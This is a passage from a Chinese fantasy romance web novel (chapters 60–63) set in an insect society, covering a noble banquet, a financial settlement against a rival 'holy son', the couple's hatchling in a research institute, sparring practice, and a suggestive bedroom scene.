“我们进去吧,总不好让费伦斯阁下等我们。”奥维说完大步走进宴会厅。 艾尔斯拉和另一位公爵对视一眼,互相礼貌性微笑,然后悠哉悠哉地步入厅堂。 第60章 您心疼我 索涅换了一身简洁些的礼服,…… 索涅换了一身简洁些的礼服, 一眼看到侍者领着他们走到费伦斯旁边,对方正和几只虫说话。 “圣子殿下。”几只虫朝他行礼。 索涅同样回礼。 费伦斯逐一为索涅介绍这几只虫,其实索涅认识他们, 不过总要走这个正式的流程。 “很荣幸认识您, 安莫因经常跟我提起, 说您是难得一见的优秀雄虫。”艾尔斯拉笑着说道。 “委员长这么夸赞我, 我只能庆幸没让您失望。这位是我的雌君, 赫尔辛斯·恩其顿。”索涅介绍道。 几只虫早就打量赫尔辛斯很久了, 闻言面上不变,心里却嘀咕起来。果然,恩其顿的虫子总能翻身, 雌奴都能变雌君。 不过怎么戴着面具? 在所有A级雄虫里, 奥维算长得很一般的, 艾浮告诉过他赫尔辛斯的脸毁了,因此他眼里不禁带着一丝恶意, “几年不见,恩其顿阁下风采依旧,这面具是哪家的首饰?我怎么没见过。” “劳您挂怀,我容貌尽毁,这是索涅殿下为我特意定制。”赫尔辛斯语气平淡, 音色却让不少虫瞬间想起多年前的情景。 多少惊才艳艳的雌虫被他压得喘不过气,议会委员长的竞选结果毫无悬念,却一朝突变…… “怎么会变成这样。”艾尔斯拉叹息。 雌虫就这样毫无遮掩地说出这些话,索涅不禁看向他的眼睛, 却发现那双平静无波,只在与他对视时轻轻眨动。 索涅心脏刺痛。 “索涅殿下对雌虫真是情真意切,我族内还有不少优秀雌虫, 整天打听您的消息。”一位贵族说道。 “让他们打听去吧,后辈的事情,我们怎么好插手?”费伦斯这一招四两拨千斤,贵族们心思灵敏,当即不再讨论这方面。 奥维偏偏不安分,脸上挂着一副塑料模特似的笑容,“安莫因委员长今天怎么没来?” 艾尔斯拉刚要说话,话头被费伦斯接过去:“委员长自然是有些事情做,他已提前跟我申请。” “实在抱歉,不过安莫因委员长也是为了我的事才不能出席。”索涅说。 “哦?”奥维目光一转,“不知是什么事?索涅殿下和委员长倒是关系不错,委员长那性子一向容易得罪虫。” “毕竟身居高位,他是没什么时间应付复杂的礼节,还望您海涵。”费伦斯说。 说完,他叫侍者拿了许多餐品过来,拿了几道递给索涅,索涅又转身递给赫尔辛斯。 “真是恩爱,看着让我羡慕。”艾尔斯拉笑着说。 当即引来调侃:“公爵阁下又不缺雌虫,怎么抢我们的台词?” “知己难寻啊。”艾尔斯拉笑笑不再说话。 少量食物下肚,虫子们说话渐渐地放开。 “这休伊斯到底什么时候走?哪件事情都谈不成,他也不怕我们杀了他。”艾尔斯拉说道。 “谈不成便谈不成,我们和安斯族什么时候谈成过?即便谈好,明天他们又反悔,这谈判根本没意义。”一只虫说道。 “他要的赔偿不多。”奥维说道。 众虫目光不禁落在赫尔辛斯身上。 没错,休伊斯最主要的目的只有一个——赫尔辛斯。 说是为父报仇,可休伊斯从小被送来当间谍,他真和前安斯王有这么深厚的感情? 奥维见索涅不说话,摇晃着酒杯问道:“圣子殿下,不知您怎么看?” 索涅终于看了他一眼,旋即淡声道:“你想问我,要不要把赫尔辛斯交出去,来置换安斯族一个不开战的承诺?” 奥维神情微僵:“我没有那么想,不过安斯族确实是这个意思。” “我认为只需要明确一件事,无论他们说出什么要求,对我们都没有好处。”索涅收回视线,捏起雌虫的一只爪子,端详着修长的指骨。 “索涅殿下说的有理,”费伦斯开口,“谨慎是第一要素,我会着手调查休伊斯的真实目的,诸位有结果也可以汇报。” “那便辛苦执政官阁下了。”奥维缓慢地说。 这种地方真是让人难受,索涅和赫尔辛斯回家的的时候已经是深夜十一点。阿橘正蹲在门口等他们,头上顶着一个巴掌大的小玩意儿。 索涅脱下厚重的衣服,回身看到阿橘的头顶,“阿橘,你把它修好了?” “怎么了?”赫尔辛斯走过来。 索涅手上托着一只巴掌大的小机械猫,他伸手挠了挠小家伙光溜溜的头顶,“我本来还想着,找时间把它送去维修中心,没想到阿橘把它修好了。” “崽崽不在,阿橘都没什么事做,整天在家里转来转去。”阿橘是个多功能育儿机器蛋。 赫尔辛斯笑起来:“我去煮点夜宵。” “我帮你。”索涅洗完手也走进厨房。 宴会实在让人食不下咽,索涅肚子里也有点空。 雌虫少见地只穿了一件白色背心,围裙勒过腰间,一头长发散在身后,遮得他起伏的后腰隐隐绰绰。 索涅从后搂住雌虫的腰,捏了一把手底下柔韧的小面包。小面包们应激地鼓起,却又霎时变得柔软。 雌虫侧过头,脸颊贴着索涅:“再等一会儿就好。” 脖颈裸露的皮肤上传来一阵湿漉漉的感觉,赫尔辛斯偏过头,一边任由雄虫亲吻啃噬他的脖颈,一边捞起烫得翠绿的蔬菜。 索涅吻着吻着,唇舌逡巡道到雌虫的左脸。 他停在那里不动了。 赫尔辛斯大致明白索涅在想什么,不禁笑了一声:“您心疼我。” 雄虫没有移开唇瓣,喉咙发出咕噜咕噜的声音。 赫尔辛斯带着身上的树袋熊一起挪到餐桌边,夹起一块肉,抬起手臂放到雄虫唇边:“啊——” 索涅张口咬掉,这块肉看起来瘦,但油脂丰富而均匀,他总不好用一张油乎乎的嘴去亲虫虫,只得把自己从雌虫身上撕下来。 “我知道您心疼我,但它最快也要十多年才能恢复,我总不能瞒十年。”赫尔辛斯又夹起一块豆腐,送到索涅唇边。 索涅的耳朵红得像要爆炸,但还是面不改色地一口吃掉,“那也没必要跟他们说,他们看你的眼神……我不舒服。” 赫尔辛斯笑着又夹起一根菜叶子,被恼羞成怒的雄虫连筷子一起咬走。 “他们对我的态度以前就这样,现在不过是多了一丝怜悯,这对我来说不算什么。” 赫尔辛斯用自己的筷子夹起一块肉喂给雄虫,雄虫顶着两只红彤彤的耳朵吃掉了它。 “只要您喜欢就好,其他虫的态度我不在乎。”赫尔辛斯见快把雄虫惹毛了,终于不再投喂,“我只害怕您不喜欢我。” 雄虫的眼睛好像会吸光,深沉的黑色瞳仁,边缘却又是浓郁的深蓝。就这样定定地看着谁的时候,要么充满阴冷的压迫感,要么深情至极犹如漩涡。 “我爱你。”雄虫说。 说完耳朵的颜色愈发浓烈,连苍白的脸都泛起薄粉。 赫尔辛斯怔愣地看着他。 索涅有点忐忑起来,是不是说得太突然了?还吃着夜宵呢,他就说了这么一句话,太不正式了。 他好像,从来没对赫尔辛斯说过“我爱你”。 他之前不好意思说,刚才却无比自然地脱口而出。说完了,他才发现这不是个浪漫的时机。 “您……”赫尔辛斯怔然,“……太突然了。” “对不起。”雄虫闷声。 赫尔辛斯鼻尖酸涩,却忍不住笑:“您爱我。” “不对,”索涅皱起眉,“你应该说‘我也爱你’”。 他心脏剧烈地撞击着胸腔,期待着雌虫的回应,然而雌虫却没有按照套路来。 “我也爱您。”赫尔辛斯唇角扬起。 “……”索涅顿时感觉浑身都不得劲。 这是他主动要来的,不一样,他不高兴。 “我也爱您。”雌虫又说。 见索涅不说话,雌虫凑过来在他唇上亲了一口,嗓音低沉:“我也爱您,永远爱您。” 索涅眼睫一颤,手里的筷子紧紧地抵着碗底,碗显些被他戳出个洞。 他舒坦了。 超级舒坦。 “我没擦嘴。”索涅说。 “没有关系,反正是我做的菜,我喂的饭,您又是我的雄虫,”赫尔辛斯舀起一勺汤,“来,啊——” 索涅红着耳朵喝掉。 很快,赫尔辛斯就知道了撩他的小雄主的后果。 第二天早上起来,雌虫看着光秃秃的窗户,陷入沉默。 “瞧瞧,好大的力气。”索涅掀开被子下床,捡起地上皱巴巴的窗帘。挂窗帘的智能滑杆也被赫尔辛斯整个扯下来。 雌虫苍金色的眼瞳一转,开口道:“那下次,您可以把我绑起来。” 索涅:“……” 他扭头,赫尔辛斯坐在床边看着他,模样竟然还有些期待。 索涅开始思考起雌虫的癖好。 他难道一直没满足赫尔辛斯身为雌虫的某种隐秘欲望? “好,我买点绳子。”索涅爽快地答应。 赫尔辛斯身体一僵,他只是勾搭一下雄虫而已,雄虫怎么当真了? “你喜欢什么颜色?扭绳还是丝带款?这个红色看起来很带感……” 言出必行的雄虫开始查看购物网站,赫尔辛斯连忙挂到雄虫身上,推着他走进浴室。 索涅勾起唇角。 精明的高级雌虫也会有傻乎乎的时候。《 》 60-70 第61章 巨额财产 索涅已经连续一周没去学校,…… 索涅已经连续一周没去学校, 导致他再次看到圣托彪飞的飞行器时,内心竟然有些感慨。 “殿下,好久不见了, 不如我们一起走?”临倍也恰好从飞行舰下来, 笑着和索涅打招呼。 “迫不得已请了这么多天假, 希望没给您造成麻烦。”索涅踏上对方所在的飞行器。 “怎么会呢。”临倍·苏利亚笑眯眯, “您成为圣子之后事务繁忙, 如果有请假需求请尽管跟我说。” 索涅叹了口气, 他透过窗户,能够清晰地看到学校里行色匆匆的学生们。他这样懈怠下去,真的还能完成学业吗? “还有不到两周就是格斗联赛, 我可不能再缺课了。”索涅说。 “您要参加联赛?”临倍惊讶, “唔……根据我的记忆, 您应该是后隧纪第一位参加格斗赛的圣子。” “说不定也是第一位初赛就淘汰的圣子。”索涅说道。 临倍笑了一声:“您不是有位战神级别的雌君?有他辅导,胜过圣托所有老师。圣山批给您的守卫也可以和您对战, 或者您可以去挑一些擅长格斗的雌虫,梅里纳不久前还找我,说他非常仰慕您。” “他是个天才,但我不是,真怕他觉得我朽木不可雕”索涅叹了口气, “您说的是梅里纳·苏利安?不是安莫因委员长的雌子吗?还是算了,怎么能让委员长的雌子给我做守卫。” 临倍但笑不语,虽然好奇索涅和赫尔辛斯的关系,但也没有再问, 他们很快分道扬镳。 今天一大早,赫尔辛斯就被杰里士叫走。索涅深深地意识到,雌虫很快就会忙起来, 他们每天相处的时间只会越来越少。 索涅进入教室的时候,赫尔辛斯正跟着杰里士抵达繁忙的联盟财政部,部长一早就等在廊道口,身边还跟着几只雌虫和亚雌。 “那位等急了吧?”杰里士问。 部长神情并不轻松,“急倒是没有急,毕竟这时候着急也没用。” “辛苦辛苦,晚上一起吃个饭。”杰里士说道,“长官,这些年的利润恐怕收不回来了。” 赫尔辛斯并不在意,西沙毁掉的那些,不过是冰山一角。 当初赫尔辛斯入狱,经审判后百分之六十的资产赔偿给西沙圣子,百分之四十的资产充入联盟财政部。这其中又有一大部分都是商业集团和矿星,经过几年投资产出,有的亏损有的盈利。 天知道审计司这几天到底经历了什么,有两个大型财务智能体直接干死机。 部长其实觉得,赫尔辛斯应该稍微赔点钱,但他不敢说。 “我已经没有军衔,你不用叫我长官。”赫尔辛斯无奈。 杰里士笑眯眯:“早晚的事,您一定会回来。” 部长听着他们的话,神情如常。 西沙坐在审计室内,眼中阴翳。 他从来没想过,有一天他要把这些钱还回去。自从拿到赫尔辛斯的资产,他多年来挥霍无数,用来营销他的形象、举办各种大型豪华宴会。他从来没为钱发过愁,甚至他最富有的雌君科亚的资产他也不太看得上。 梅尔加在世俗意义上不缺钱,但每一次的花费都是百万起步,金山也受不住他和艾浮这么消耗,更何况梅尔加不全属于奥维,有些不动产更是看着珍贵实则无法变现。 这场判决最初他并未放在心上,当最高法、审计司和财政部的虫开始动手后,他才意识到自己究竟欠了多少债。 历经六天五夜的连轴清算,赫尔辛斯的有形资产被他损耗了九百七十二亿,另外他还需要回收股份共两亿九千万股,价值三十九亿。不知哪个缺德的家伙开始幕后动手脚,西沙不过是犹豫了一个晚上,这些股份暴涨百分之八十,差点把他气吐血。 由于他还不上这一千多亿,不得已贡献出主星五十套房产、五座生态庄园、,这才算还了小半。 科亚的资产倒是足够,但全部还掉他们吃什么? 西沙一大清早等在这里,就是想和赫尔辛斯协商一下。 三只雌虫身形高挑,站在他对面时很有压迫感。 “赫尔辛斯,好久不见。”西沙柔和地说。 赫尔辛斯没有和他搭话,而是看向财政部长,部长也不当和事佬,储存器插入显示屏,卡顿了好几分钟才显示出全部清算结果。 赫尔辛斯精神力接触光屏,缓缓地查看着,没有给西沙一个眼神。 西沙心中恼怒,却只能忍下来。 杰里士无比自来熟地给自己的茶杯里加了两块方糖,“长官的精神力真稳定。” 他曾经是赫尔辛斯的学生,也是出生入死的战友,自然知道赫尔辛斯之前的精神丝状态。现在伸出的这些精神丝的数量,是以前的两倍不止,并且磁场稳定,压迫得他太阳穴隐隐发胀。 “索涅殿下毕竟是顶A级。”部长说道。他有点羡慕赫尔辛斯。 虽然他的雄主也是A级,但并不愿意这么细致地梳理他的精神域,深入梳理对雄虫来说也有一定危险性,需要彼此完全信任。 输出这么大体量的精神力,赫尔辛斯竟然还有空听他们对话,提到索涅圣子,他神情缓和:“殿下性格温和,做什么事都很仔细。” 部长:“……”是他见过的那只阴冷得像鬼一样的雄虫吗? “长官的婚姻真让虫羡慕,要是索涅殿下有兄弟就好了。”杰里士不无遗憾地说。 赫尔辛斯心想兄弟倒是有,不过是雌虫,而且还没出生。 近一个小时过去,赫尔辛斯睁开眼:“没有问题,接下来签字?” “等等,”西沙等了这么久,终于找到机会开口,“赫尔辛斯,当初这些资产判给我,这些年来我虽然精心帮你打理,但因为市场变化而流失了一部分,这些难道我要补偿你?” 在场所有虫内心忍不住浮起一个想法:真不要脸啊。 赫尔辛斯终于抬眼:“补偿?” 他没什么表情,但西沙从他眼神里看出一股冷冷的嘲讽。 “我允许您用那些没什么用的房产来抵押您贱卖的能源矿,我认为已经非常宽容,其余免谈。” 西沙面上涨红:“注意你的态度!我是圣子!” “咳,殿下,按照法律,我们只计算当初的总资产价值,和您手里剩余的资产总值,其中差值就是发给您的欠款单,如果考虑市场,这些年您挥霍掉的利润也需要还给恩其顿阁下。”财政部长说起这些心中发痛。 不光西沙要赔,财政部也要把充公的资产还回去,还好刚才赫尔辛斯没计较财政部报不上数的部分。 “既然如此,我收回这些珍贵的古董房产,”西沙扬起下巴,眼里含着一丝恶意,“赫尔辛斯,你是不是跟那个乡巴佬待久了,眼光也开始下降了?” 一室寂静。 部长和杰里士自认经历过大风大浪,也不由得惊诧。从来没想过会亲耳听到向来注重形象的梅尔加圣子公然辱骂另一位圣子。 旁边工雌耳朵竖得老高:今天不白来,真是开了眼了。 西沙后知后觉意识到自己说了什么,脸上顿时涨红,一股惶恐压迫得他下意识观察审计室内所有虫的脸色,清晰地看到这些虫眼中一闪而过的惊愕。 金发雌虫的脸色冷若冰霜,精神力猛然炸起,犹如海啸在仇敌耳边嗡鸣:“很显然我的眼光在上升。” “……守卫……守卫!守卫!!”西沙被他的气势吓得大叫,高傲的姿态霎时不保。 一堆雌虫迅速涌进来将赫尔辛斯团团包围,与那双苍金色的眼眸对视,他们忍不住向后退了一步。 如果赫尔辛斯真的发难,就算他们的数量再加两倍,也不是这只雌虫的对手。 “我要告你!你想害我!”西沙站在守卫身后叫嚣。 部长额头冷汗直冒,没等他说话,赫尔辛斯收回精神力,抬手签上名字并识别瞳纹。 “我记得恐吓雄虫的赔偿是两亿,您既然是圣子,我在这后面加个零,还请西沙殿下记得把剩下的一千亿尽早还我。” 赫尔辛斯懒得给西沙任何表情,对着杰里士说:“我先去看看虫崽,晚上再约,或者欢迎你们来家里,我手艺不错。” “好好好。”杰里士眼睛一亮。 赫尔辛斯走后,部长拿过光屏说:“殿下,为您减掉那二十亿?” 西沙脸色难看:“不用!” 部长从善如流地递出合同。西沙犹如剜骨剔肉般签上字,带着一堆虫气势汹汹离开审计室。 赫尔辛斯竟然敢这么羞辱他……西沙冷笑一声,他倒是要看看,这只没有容貌没有权势的雌虫可以得意多久。 索涅必然是为了那些钱才对赫尔辛斯虚与委蛇,等钱到手,他就不信赫尔辛斯还能有什么好日子过。 赫尔辛斯飞到研究院,隔着防护墙远远地看了一会儿虫崽,崽崽已经醒过来,看到他就咧着嘴笑,伸着小手求抱抱。 赫尔辛斯眼眶发酸。 为了崽崽的安全,他还不能进去,进化还没有完全结束。 “我还以为这小家伙只会傻笑,昨晚醒来没见到你们,哭得撕心裂肺。”安莫因抱着崽崽站在防护墙里侧,眼底有些红血丝,语气感慨。 “辛苦你了。”赫尔辛斯说。 安莫因顿时笑:“其实大多数时候都是费伦斯在照顾,这几天他忙着计划索涅殿下进阶的事,黑眼圈都出来了。” “殿下上学去了?”安莫因问。 赫尔辛斯点头道:“我忍不住先来看看,等会儿我去接雄主,他很着急。” 雌父就站在对面,虽然闻不到雌父怀抱的味道,也不能抱抱,但虫崽崽很快安静下来,一边喝营养奶,一边大眼睛咕噜噜地转。 “他在找索涅殿下?”安莫因难以置信地问。 “应该是,平时雄主经常和虫崽玩,只要他在家,都是他照顾科尔,科尔很依恋他。”赫尔辛斯说。 “他和费伦斯很像,都很负责任,但这样太累了。”安莫因无声叹息,“照顾好他,我可跟费伦斯打过包票,说你和他是绝配。” 赫尔辛斯沉默半晌:“你不会把我当你晚辈了吧?” 安莫因讪讪:“怎么会呢。” 好吧,他是有那么一丢丢的得意。 第62章 “人” 索涅伸出一根手指,轻轻地和崽…… 索涅伸出一根手指, 轻轻地和崽崽小小的手心合在一起。 崽崽嘴一瘪,泪眼汪汪,他没碰到雄父。 “可能还得至少半个月。”赫尔辛斯轻声说。 “你们放心, 状态很平稳, 估计还有一轮短暂的昏睡期。”安莫因说道, “殿下不是要参加格斗赛么?安心准备吧, 小胖崽的情况我和费伦斯会一直注意。” “……谢谢。”索涅不知道该怎么说。 安莫因见崽崽精神头不太好, 便抱着他回去了, 索涅和赫尔辛斯出了研究院,站在门口发呆。 “赫尔辛斯,我还是觉得很奇怪。”索涅说, “我不知道该怎么和他们相处。” “以前没有这层关系的时候, 我觉得反倒更自然。” 赫尔辛斯跟在雄虫身后, 慢慢地在街上散着步,他敏锐地感觉到有些虫一直在看他们, 他眼神冷静地和他们对视,那些虫才作鸟兽散开。 他一边注意着周围,一边和索涅说话:“或许再过一段时间,等您和他们相熟,这种陌生就会慢慢消散。” 索涅知道这需要时间, 但更深知自己对亲人的排斥,这段磨合的时间可能会无限拉长。 他们抵达这处餐厅的时候,杰里士和财政部长已经到了,他们定了一个视野最好的包厢, 氛围宁静而又雅致。 “索涅殿下,许久不见,您风采依旧。”财政部长招呼道。 索涅颔首, “我和赫尔辛斯临时有点事,所以来迟了,还望二位海涵。” “当然还是事务重要,听说圣托给您安排了一件大事?”杰里士叫来服务员。 索涅无奈:“什么大事,我怎么不知道?” 杰里士升起兴致:“星网上都传开了,说今年的格斗联赛开场由您动员。” 索涅:“……是骂开了吧?” 杰里士笑笑,不说话。 “殿下,点菜吧?”财政部长适时地插话。 一道道佳肴很快放满整个桌子,摆盘极为精致,不过分量非常少,索涅怀疑这里三只雌虫真的能吃饱吗? 不过吃不饱也没关系,等会儿他给自家虫虫开小灶。 “雄主,今早您走后维希阁下来找过您。”赫尔辛斯给他倒好清酒。 “找我?他怎么不给我发消息。”索涅略微思索一瞬,“别管他,神神经经的家伙。” “殿下认识维希阁下?”杰里士开口道。 索涅面色不变:“遴选时他是我的对手。” “原来如此,咳,”财政部长露出八卦的神情,“听说那个,维希阁下喜欢法门上将?” 杰里士声音幽幽:“部长你还看这些八卦新闻啊?” “传的到处都是,我想看不到也很难,庭长您不会没注意到吧?”部长假惺惺地说。 “注意到了,明显是假的,维希阁下缺什么都不会缺雌虫,不过一群绯闻狂热分子的臆想而已。”杰里士说。 他说完又看向索涅:“索涅殿下,您觉得呢?” 索涅:“……我觉得,维希喜欢。” 杰里士眼角神情一凝,几乎察觉到财政部长高昂到火热的激情。 索涅阁下这是什么意思? “猜测而已,毕竟那家伙嘴里没实话。”索涅又说道,“吃菜吧二位,这酒不错。” 索涅旋即不再说这件事,而是给赫尔辛斯倒了一杯,好似真的非常喜欢这酒。不过他将酒杯递给雌虫,却忍不住露出笑意,这酒杯还没有雌虫的一个指节大,颜色粉粉嫩嫩,看起来有点不和谐,又有点可爱。 赫尔辛斯耳朵一红:“您笑什么。” 索涅勉强抑制住翘起的唇角:“没什么。” 赫尔辛斯更在意了。 杰里士和财政部长悠悠地看着对面两只虫,无端地感觉身旁似乎刮过一股萧瑟冷风,凄凉而又可怜。 —— “嘭!” 索涅被狠狠地摔在垫子上,一下子让他头晕目眩。额头豆大的汗珠被这股巨力冲击得四处飞溅,有些冲进他的眼眶,蛰蚀得眼睛刺痛。 “别动。”雌虫的声音响起,旋即一张纸巾轻柔地落在他脸上,和刚才摔他的力道迥异。 索涅仰脸,让雌虫一点点擦掉汗,后背和胳膊痛到发酸,酸到发麻,他却觉得无比畅快,惬意地躺倒平复着呼吸。 “赫尔辛斯,没有你我可怎么办,只有你愿意打我。”索涅说。 洁白的纸巾消失,他看到雌虫无奈的脸。 “要是传出去,我就完了。”赫尔辛斯又抽出几张纸。 “没关系,这是我们的情趣,他们管不着。”索涅眨眨眼。 他的雌虫更加无奈:“情趣怎么会是我揍您呢?” 索涅:“……不是互相揍吗?只是我打不过你而已。他们都不用心和我对战,把我当个瓷器一样。” “我知道他们不敢,但是我的学业怎么办!”他开始哀嚎,“你是我唯一的救星!你不许抛弃我。” 雌虫的神情近乎无语,又情不自禁地笑起来,“遵命,圣子殿下。” 赫尔辛斯顿了一下,还是想问:“您为什么要把维希阁下的事暴露给他们?” “维希挺有用,这种疯起来不要命的家伙有时候会给出意外的惊喜。”索涅说,“他希望我弄掉艾浮之后,他可以把法门追到手。” “这事有点技术含量。”索涅说。 怎么样才能让法门不被艾浮牵连?这显然不太可能。 “赫尔辛斯,你说,我把维希和他们一起送进去如何?到时候维希想怎么追就怎么追。”索涅说。 赫尔辛斯:“……他一定会感谢您。” 索涅一笑:“你怎么比我还损。” 说完,房间里静默半晌,索涅斟酌着开口:“赫尔辛斯,我们已经注定和他们为敌,法门毕竟是你的弟弟……” 却不料赫尔辛斯直接开口:“您不用顾及我,恩其顿的血脉四散各处,不死不休的也不在少数。” 索涅看着他,却感到赫尔辛斯并不是对法门毫不在意 —— 第二天中午,索涅如约来到圣托餐厅的某个卡座,临倍已经等在那里。 “真抱歉一大清早就打搅您。”临倍说道。 “确实吓了我一跳,”索涅无奈,他一早就收到临倍的消息,“学院怎么会想到这件事?未免有些离谱。” “您是圣子,又是这么多年唯一一位机甲战斗系的雄虫,而且还准备参加格斗联赛,可不就叫他们抓住了。”临倍笑着说。 索涅问:“没有转圜的余地?” “当然还是看您的意愿,您就此回绝,他们也绝对不敢说什么。” 主要是事情已经传开,索涅也不觉得这事有多么难以接受,“我体术很烂,没练过多久,最近也有一件很重要的事,可能抽不出时间。” 事实上能不能参加还是个未知数,只能祈祷他不要突然进阶。 临倍微笑着心想:能有多烂?索涅期中考试的成绩都在他手上,这只雄虫谦虚到有胡说八道的嫌疑。 索涅思考过后还是拒绝了,临倍不无遗憾,毕竟这可是一个出风头的大好机会,按理说索涅作为圣子不该错过。 下午费伦斯发来视频,崽崽果然跟预想的一样,又进入了昏睡期,只是好在没有发烧。 [费伦斯:下午我还在研究院,你要是有时间可以过来一趟,再检查一下精神域。] [费伦斯:我准备了一些辅助进阶的仪器,你先试试调配一下强度。] 索涅犹豫着,把他的话发给赫尔辛斯。 下午,他和赫尔辛斯再度踏进研究院冷肃的环境。 费伦斯显然在陪伴虫崽,和急匆匆赶来的安莫因交接之后,才带着他们走进另一间实验室。这里几乎被各种巨型仪器摆满。 索涅经历一番检查,费伦斯的神情不太轻松,同时面上浮现出一抹诡异的笑。 “精神力增长很快啊。”费伦斯语气里带着一丝感慨。 “殿下还在准备格斗联赛,会不会……”赫尔辛斯担忧道。 费伦斯摇摇头:“我也不能确定,毕竟格斗联赛的战线很长,就算参加前半部分,后面也很可能得退赛。” 赫尔辛斯垂眼,索涅就知道雌虫又在往身上揽责任。他捏了捏雌虫柔软的指腹。 “不过也不用担心,毕业时还有一次机会,虽然雌虫们的战斗天赋比雄虫高,四年内可能进步神速,但你突破S级后,到底谁更有天赋就不好说了。”费伦斯说道。 “我的精神力会增长,是不是因为我也有梅尔加的血脉?”索涅心中一直有个疑惑。 如他所想,费伦斯否定了这个猜测:“梅尔加和恩其顿的结合虽然也会增长精神力,但没有这么快,这应该是因为你被珀斯晶体诱导的特殊精神丝结构。” 索涅心中却有另一个猜测,毕竟他曾经是另一个物种……之前对精神力知之甚少,又情绪慌乱,现在他仔细回想,才一点点拼凑起当初刚穿越过来的情况。 那时,他应该没有一丝精神力,勉强吃了一些东西后,精神丝才慢慢生长。但那时候的觉醒是怎么回事?他一下子从E级变成A级! 索涅想到这儿又觉得不太对,人类又没有精神力。 现在知道他觉醒时精神域状况的只有赫尔辛斯…… 赫尔辛斯一直看着他,自然没错过雄虫的情绪变化。 他微微垂眼,看着雄虫无意识他指腹摩挲的手指。 他很早以前就发现了,他的雄虫有秘密。 毕竟,他翻遍整个星网,没有找到任何一个叫“ren”的网络名词。 第63章 骨翼 周六,索涅和赫尔辛斯开始搬…… 周六, 索涅和赫尔辛斯开始搬家,其实也没什么非要搬过去的大件物品,一架中型飞行舰已经能够把他们常用的所有物品都搬走。 圣山划分给索涅的宫殿, 正是离莫里斯宫最近的德洛伊宫, 其下有大大小小约三百个房间, 其中半数都是书库、宴会厅、古董库, 最豪华的珀斯厅就是其中之一。 好在, 这些半开放区和居住区之间有一个宽广花园隔开, 不然恐怕会住不安宁。 主卧房极为宽敞,索涅拉开窗帘,猛烈的日光顿时倾泻而入。 “这里还好吗?要是不喜欢这些家具, 我们抽空再挑一些。”索涅说。 赫尔辛斯走到窗边, 和他站在一起。 极目远眺, 部分漆黑的山壁和中央绿油油的温室花房对比强烈,依稀有些侍者穿梭其中, 打理着宫殿各个角落。 “已经很好,很美。”赫尔辛斯说。 他看向索涅:“您不习惯这里。” 日光泛白,再加上圣白石宫殿洁白的外墙和黑白交错的山峦,刺激得索涅眼睛发酸。 “过几天就好了,”索涅说, “在这里和在山脚,我也不知道哪个更没有隐私。” 他被三百六十五度无死角地视奸着,索涅只能确定被窝里没有监控。 赫尔辛斯闭上眼,精神丝瞬间蔓延至房间各个角落, 随后延伸数百米,将周围房间全部仔细地检查了一遍。 走廊上,侍者们动作一顿, 不由得看向这股压迫性磁场的来源。 果然是主卧房,想必是索涅殿下的雌君,不愧是有史以来最强大的雌虫。 “您放心,没有监控装置。”赫尔辛斯检查过后说道,“这里还有训练室。” 这倒确实是件好事。 训练室里还有一个高级虚拟仓,配备全能治疗仪和测试仪器,虽然没有研究院那么精细,但日常使用绰绰有余。 晚上,索涅正看着书,雌虫披散着湿漉漉的长发从外面走进来,皮肤红润,泛着一种奶油般的健康色泽。 “洗澡了?”索涅放下书。 雌虫走到他身边,“出了点汗,训练室里就有浴室,顺便洗了洗。” 他身上一股清透的水汽,伴随着淡淡的香味,缭绕在索涅鼻尖,让他无心学习。 索涅索性欣赏起赫尔辛斯的美貌:“刚看到你时,你瘦得都有点脱相,我抱你的时候,你肩胛骨戳得我手臂生疼。” 雌虫看了看自己手臂上的肌肉,抿起唇:“您不喜欢我长肉?” “喜欢啊,很可口。”索涅笑眯眯地说。 “我那时营养不良,不是故意骗您。”赫尔辛斯解释道。 索涅捏起他的手指,放在眼前装模作样地观察一会儿,开口:“当初硌我的,其实是你的骨翼吧。” 雌虫脸一红,初次见面就把骨翼尖尖伸出来,对雌虫来说很不体面。 “我那会儿控制不住自己。”他瓮声瓮气地解释。 索涅握住雌虫的手腕,将虫拉近到自己身前,俯身将唇抵在雌虫耳边:“这里地方够大,可以再给我看看吗?” 赫尔辛斯的耳朵很明显地抖了一下,缓缓地红了。 雌虫的骨翼,只有战斗和求偶这两个作用,但现在早就不流行张开骨翼求偶了,雄虫们不喜欢锋利危险的骨翼。 现在流行的求偶方式,是大把大把的金钱,精致漂亮的外表,柔软修长的身段。 要是亚雌能生高级虫蛋,并且足够有钱的话,大部分雄虫们只愿意娶亚雌。 赫尔辛斯垂眸看了他一眼,转身走到远处。 索涅眼前一花还没怎么看清,只感觉一道淡金色影子一闪而过,定睛看去,不由得沉醉于眼前圣洁又危险的生物。 修长的翼刺从肩后伸出,由翼尖到尾端嶙峋起伏,筋骨凸起的模样颇有几分狰狞,上面的软膜薄到几乎透明,是这一双杀器上为数不多的装饰性部分。 骨翼的模样并不柔软,但漂亮的颜色为它增添一抹神圣感。雌虫模样精致,发丝被骨翼伸展的劲风吹起,苍金色眼眸侧垂着,似乎在观察自己的骨翼。 这一幕实在圣洁中露出一丝慈悲,慈悲中露出一丝邪气。美到极致,艳到骨子里。 索涅眼中浓郁的深色很好地取悦了这只漂亮雌虫。 能够用骨翼获得雄虫的喜爱,是一件让军雌很有成就感的事情。 雌虫将张开的骨翼收拢至后背,缓缓地走到雄虫面前。 索涅的视线跟随着赫尔辛斯的动作移动,此时此刻,这只虫虫神情骄傲,眼里是势在必得。 雌虫双手扶着他的肩,索涅从善如流张开手臂。 赫尔辛斯坐在雄虫大腿上,这样的姿势,他比雄虫高出一点。他搂着雄虫的脖子,低头。 “您喜欢吗?”他这样问,语气却不像之前那么忐忑。 “喜欢极了。”索涅吻在他唇角,感觉虫虫的皮肤已经兴奋到发烫。 赫尔辛斯却伸手捂住他的嘴,严肃道:“我求偶成功,应该让我服侍您。” 索涅忍不住勾起唇,“你要怎么服侍?” 雌虫默默地离开他的腿,到衣帽间翻出个小盒子,指尖从里挑出一抹鲜艳的红色。 索涅猛地呛了一下。 他眼睁睁看着雌虫把自己绑得跟个小礼物一样,腰上还系着两枚金色小铃铛。 雌虫把自己打扮好,坐回他腿上时,索涅差点一股鼻血喷出来。 “您说过这个好看,所以我偷偷地买了回来。”赫尔辛斯拉着索涅的手,放在小铃铛上。 索涅手指落下,铃铛发出清脆的声音,同时红绳勒得雌虫皮肤微微陷进去。 索涅猛地用另一只手捂住鼻子。 雌虫很没有眼色地掀开他的手,含着撩人的笑意吻上他的唇…… 铃儿一起一伏,一直响到大半夜…… —— 索涅坐在办公桌后面,侍者敲门后端进来一壶热茶。 “索涅阁下,这么炎热的天气,您用这个招待我?”茶水烫到一时不能入口,休伊斯只得放下,“您的侍者很没有待客之道。” 